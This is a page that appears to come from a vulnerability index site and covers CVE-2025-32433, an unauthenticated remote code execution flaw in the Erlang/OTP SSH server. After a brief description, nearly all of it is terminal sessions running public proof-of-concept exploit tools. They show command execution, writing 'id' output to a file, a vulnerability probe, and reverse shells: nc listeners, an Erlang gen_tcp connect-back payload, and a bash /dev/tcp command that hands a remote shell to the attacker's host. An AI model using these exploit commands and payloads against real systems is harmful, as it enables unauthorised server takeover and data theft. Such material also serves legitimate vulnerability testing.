Skip to content
HackIndex logo

HackIndex

CVE-2025-32433:
Erlang RCE

Published: Feb 21, 2026
Critical
Missing Authentication for Critical Function

CVE-2025-32433 is a critical bug in the Erlang/OTP SSH server disclosed on April 16, 2025 where an attacker can send specially crafted SSH messages before authentication and get the server to run code without logging in. It happens due to improper handling of certain SSH channel request messages, and if exploited it can lead to unauthenticated remote code execution, meaning full takeover of the exposed service/host, data theft, and a launch point for deeper network compromise.

Erlang RCE

Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.

joshuavanderpoll/cve-2025-32433
CVE-2025-32433 — unauthenticated RCE in Erlang/OTP SSH.
View repository (opens in new tab)
┌──(kali㉿kali)-[~]
└─$ go run github.com/joshuavanderpoll/cve-2025-32433@latest -host 127.0.0.1 -port 2222 -command whoami 
   _____   _____   ___ __ ___ ___    _______ _ _ ________
  / __\ \ / / __|_|_  )  \_  ) __|__|__ /_  ) | |__ /__ /
 | (__ \ V /| _|___/ / () / /|__ \___| _ \/ /|_  _|_ \|_ \
  \___| \_/ |___| /___\__/___|___/  |___/___| |_|___/___/
  https://github.com/joshuavanderpoll/CVE-2025-32433

[*] Target → 127.0.0.1:2222
[~] Connection established, sending exploit chain...
[~] Server banner: SSH-2.0-Erlang/5.1.4.7
[>] Payload: os:cmd("bash -c 'whoami'").
[✓] Payload delivered. Execution depends on server state.

⭐ If this tool helped you, consider starring the repo: https://github.com/joshuavanderpoll/CVE-2025-32433
joshuavanderpoll/cve-2025-32433
CVE-2025-32433 — unauthenticated RCE in Erlang/OTP SSH.
View repository (opens in new tab)

Start a reverse shell listener:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 1111 
listening on $LPORT ...
┌──(kali㉿kali)-[~]
└─$ go run github.com/joshuavanderpoll/cve-2025-32433@latest -host 127.0.0.1 -port 2222 -shell -lhost 127.0.0.1 -lport 1111 
   _____   _____   ___ __ ___ ___    _______ _ _ ________
  / __\ \ / / __|_|_  )  \_  ) __|__|__ /_  ) | |__ /__ /
 | (__ \ V /| _|___/ / () / /|__ \___| _ \/ /|_  _|_ \|_ \
  \___| \_/ |___| /___\__/___|___/  |___/___| |_|___/___/
  https://github.com/joshuavanderpoll/CVE-2025-32433

[*] Target → 127.0.0.1:2222
[*] Dispatching reverse shell → 127.0.0.1:1111
[*] Start your listener before this hits: nc -lv 1111
[~] Connection established, sending exploit chain...
[~] Server banner: SSH-2.0-Erlang/5.1.4.7
[>] Payload: spawn(fun()->{ok,T}=gen_tcp:connect("127.0.0.1",1111,[binary,{packet,line},{active,true}]),F=fun R()->receive{tcp,T,M}->gen_tcp:send(T,os:cmd(string:trim(binary_to_list(M)))++"\n"),R()end end,F()end).
[✓] Payload delivered. Execution depends on server state.
[+] Reverse shell payload dispatched successfully.

⭐ If this tool helped you, consider starring the repo: https://github.com/joshuavanderpoll/CVE-2025-32433
joshuavanderpoll/cve-2025-32433
CVE-2025-32433 — unauthenticated RCE in Erlang/OTP SSH.
View repository (opens in new tab)
┌──(kali㉿kali)-[~]
└─$ go run github.com/joshuavanderpoll/cve-2025-32433@latest -host 127.0.0.1 -port 2222 
   _____   _____   ___ __ ___ ___    _______ _ _ ________
  / __\ \ / / __|_|_  )  \_  ) __|__|__ /_  ) | |__ /__ /
 | (__ \ V /| _|___/ / () / /|__ \___| _ \/ /|_  _|_ \|_ \
  \___| \_/ |___| /___\__/___|___/  |___/___| |_|___/___/
  https://github.com/joshuavanderpoll/CVE-2025-32433

[*] Target → 127.0.0.1:2222
[~] Connection established, starting probe...
[~] Server banner: SSH-2.0-Erlang/5.1.4.7
[+] No response data received, but connection held — consider the host potentially vulnerable.
[!!] 127.0.0.1:2222 is VULNERABLE to CVE-2025-32433

⭐ If this tool helped you, consider starring the repo: https://github.com/joshuavanderpoll/CVE-2025-32433
joshuavanderpoll/cve-2025-32433
CVE-2025-32433 — unauthenticated RCE in Erlang/OTP SSH.
View repositoryView repository (opens in new tab)
┌──(kali㉿kali)-[~]
└─$ go run github.com/joshuavanderpoll/cve-2025-32433@latest -host 127.0.0.1 -port 2222 -code 'file:write_file("/tmp/out.txt", os:cmd("id")).' 
   _____   _____   ___ __ ___ ___    _______ _ _ ________
  / __\ \ / / __|_|_  )  \_  ) __|__|__ /_  ) | |__ /__ /
 | (__ \ V /| _|___/ / () / /|__ \___| _ \/ /|_  _|_ \|_ \
  \___| \_/ |___| /___\__/___|___/  |___/___| |_|___/___/
  https://github.com/joshuavanderpoll/CVE-2025-32433

[*] Target → 127.0.0.1:2222
[~] Connection established, sending exploit chain...
[~] Server banner: SSH-2.0-Erlang/5.1.4.7
[>] Payload: file:write_file("/tmp/out.txt", os:cmd("id")).
[✓] Payload delivered. Execution depends on server state.

⭐ If this tool helped you, consider starring the repo: https://github.com/joshuavanderpoll/CVE-2025-32433
omer-efe-curkus/CVE-2025-32433-Erlang-OTP-SSH-RCE-PoC
Script to start reverse shell
View repository (opens in new tab)

Start a reverse shell listener:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 1111 
listening on $LPORT ...

Exploit the target:

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/omer-efe-curkus/CVE-2025-32433-Erlang-OTP-SSH-RCE-PoC.git
┌──(kali㉿kali)-[~]
└─$ cd CVE-2025-32433-Erlang-OTP-SSH-RCE-PoC
┌──(kali㉿kali)-[~]
└─$ python3 -m venv .venv
┌──(kali㉿kali)-[~]
└─$ source .venv/bin/activate
 
┌──(kali㉿kali)-[~]
└─$ python3 cve-2025-32433.py $TARGET_IP --shell --lhost $LHOST --lport $LPORT -p $TARGET_PORT 
[*] Target: $TARGET_IP:$TARGET_PORT
[*] Sending reverse shell to connect back to $LHOST:$LPORT
[*] Connecting to target...
[+] Received banner: SSH-2.0-Erlang/5.2.9
[+] Running command: os:cmd("bash -c 'exec 5<>/dev/tcp/$LHOST/$LPORT; cat <&5 | while read line; do $line 2>&5 >&5; done'").
[✓] Exploit sent. If vulnerable, command should execute.
[+] Reverse shell command sent. Check your listener.